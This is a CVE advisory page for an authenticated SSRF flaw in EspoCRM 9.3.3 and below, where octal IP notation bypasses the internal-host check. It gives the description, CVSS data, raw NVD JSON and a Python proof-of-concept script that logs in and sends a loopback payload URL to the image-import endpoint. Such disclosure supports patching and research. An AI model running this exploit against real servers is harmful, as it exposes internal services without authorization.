Security Vulnerability Report
中文
CVE-2026-33534 CVSS 4.3 MEDIUM

CVE-2026-33534

Published: 2026-04-13 20:16:34
Last Modified: 2026-04-22 00:12:28

Description

EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have an authenticated Server-Side Request Forgery (SSRF) vulnerability that allows bypassing the internal-host validation logic by using alternative IPv4 representations such as octal notation (e.g., 0177.0.0.1 instead of 127.0.0.1). This is caused by HostCheck::isNotInternalHost() function relying on PHP's filter_var(..., FILTER_VALIDATE_IP), which does not recognize alternative IP formats, causing the validation to fall through to a DNS lookup that returns no records and incorrectly treats the host as safe, however the cURL subsequently normalizes the address and connects to the loopback destination. Through the confirmed /api/v1/Attachment/fromImageUrl endpoint, an authenticated user can force the server to make requests to loopback-only services and store the fetched response as an attachment. This vulnerability is distinct from CVE-2023-46736 (which involved redirect-based SSRF) and may allow access to internal resources reachable from the application runtime. This issue has been fixed in version 9.3.4.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:* - VULNERABLE
EspoCRM <= 9.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit: CVE-2026-33534 (EspoCRM SSRF via Octal IP) # Description: Bypass internal host check using octal notation (0177.0.0.1 -> 127.0.0.1) # Endpoint: /api/v1/Attachment/fromImageUrl # Note: Requires authentication. target_url = "http://target-espocrm-url/api/v1/Attachment/fromImageUrl" username = "[email protected]" password = "password" # Internal service to scan (e.g., local metadata or admin panel) # 127.0.0.1 in octal is 0177.0.0.1 payload_url = "http://0177.0.0.1:8080/internal-config" session = requests.Session() login_data = { "username": username, "password": password, "authenticationMethod": "Password" } # Step 1: Login print("[*] Logging in...") login_resp = session.post("http://target-espocrm-url/api/v1/App/user", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit() # Step 2: Send SSRF payload print("[*] Sending SSRF payload...") data = { "url": payload_url } exploit_resp = session.post(target_url, json=data) print(f"[*] Response Status: {exploit_resp.status_code}") print(f"[*] Response Body: {exploit_resp.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33534", "sourceIdentifier": "[email protected]", "published": "2026-04-13T20:16:33.970", "lastModified": "2026-04-22T00:12:27.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have an authenticated Server-Side Request Forgery (SSRF) vulnerability that allows bypassing the internal-host validation logic by using alternative IPv4 representations such as octal notation (e.g., 0177.0.0.1 instead of 127.0.0.1). This is caused by HostCheck::isNotInternalHost() function relying on PHP's filter_var(..., FILTER_VALIDATE_IP), which does not recognize alternative IP formats, causing the validation to fall through to a DNS lookup that returns no records and incorrectly treats the host as safe, however the cURL subsequently normalizes the address and connects to the loopback destination. Through the confirmed /api/v1/Attachment/fromImageUrl endpoint, an authenticated user can force the server to make requests to loopback-only services and store the fetched response as an attachment. This vulnerability is distinct from CVE-2023-46736 (which involved redirect-based SSRF) and may allow access to internal resources reachable from the application runtime. This issue has been fixed in version 9.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.4", "matchCriteriaId": "C81517CA-6567-41DC-A0A9-309FFD7B48E8"}]}]}], "references": [{"url": "https://github.com/espocrm/espocrm/releases/tag/9.3.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}